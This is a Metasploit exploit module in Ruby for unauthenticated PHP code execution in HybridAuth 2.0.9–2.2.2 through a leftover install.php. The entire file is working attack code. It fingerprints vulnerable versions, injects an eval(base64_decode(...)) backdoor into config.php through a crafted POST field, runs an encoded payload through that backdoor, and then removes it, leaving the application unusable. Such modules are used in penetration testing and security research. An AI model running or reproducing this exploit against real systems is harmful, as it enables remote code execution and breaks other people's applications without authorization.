##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # application config.php is overwritten

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HybridAuth install.php PHP Code Execution',
      'Description'    => %q{
          This module exploits a PHP code execution vulnerability in
        HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
        is not removed after installation allowing unauthenticated users to
        write PHP code to the application configuration file 'config.php'.

        Note: This exploit will overwrite the application configuration file
        rendering the application unusable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pichaya Morimoto', # Discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '34273'],
          ['OSVDB','109838']
        ],
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested:
          # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
          ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 4 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
      ])
  end


  #
  # Check:
  # * install.php exists
  # * config.php is writable
  # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
  #
  def check
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
    if !res
      vprint_error "Connection failed"
      return Exploit::CheckCode::Unknown
    elsif res.code == 404
      vprint_error "Could not find install.php"
    elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
      vprint_error "#{$1} is not writable"
    elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
      version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
      vprint_status "Found version: #{version}"
      if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
        return Exploit::CheckCode::Vulnerable
      else
        vprint_error "HybridAuth version #{version} is not vulnerable"
      end
    end
    Exploit::CheckCode::Safe
  end

  #
  # Exploit
  #
  def exploit
    # check vuln
    if check != Exploit::CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    # write backdoor
    print_status "Writing backdoor to config.php"
    payload_param = rand(1000)
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'install.php'),
      'data'   => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
    )
    if !res
      fail_with Failure::Unknown, "#{peer} - Connection failed"
    elsif res.body =~ /Installation completed/
      print_good "Wrote backdoor successfully"
    else
      fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
    end

    # execute payload
    code = Rex::Text.encode_base64(payload.encoded)
    print_status "Sending payload to config.php backdoor (#{code.length} bytes)"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'config.php'),
      'data'   => "#{payload_param}=#{code}"
    }, 5)
    if !res
      print_warning "No response"
    elsif res.code == 404
      fail_with Failure::NotFound, "#{peer} - Could not find config.php"
    elsif res.code == 200 || res.code == 500
      print_good "Sent payload successfully"
    end

    # remove backdoor
    print_status "Removing backdoor from config.php"
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'install.php'),
      'data'   => 'OPENID_ADAPTER_STATUS='
    )
    if !res
      print_error "Connection failed"
    elsif res.body =~ /Installation completed/
      print_good "Removed backdoor successfully"
    else
      print_warning "Could not remove payload from config.php"
    end
  end
end
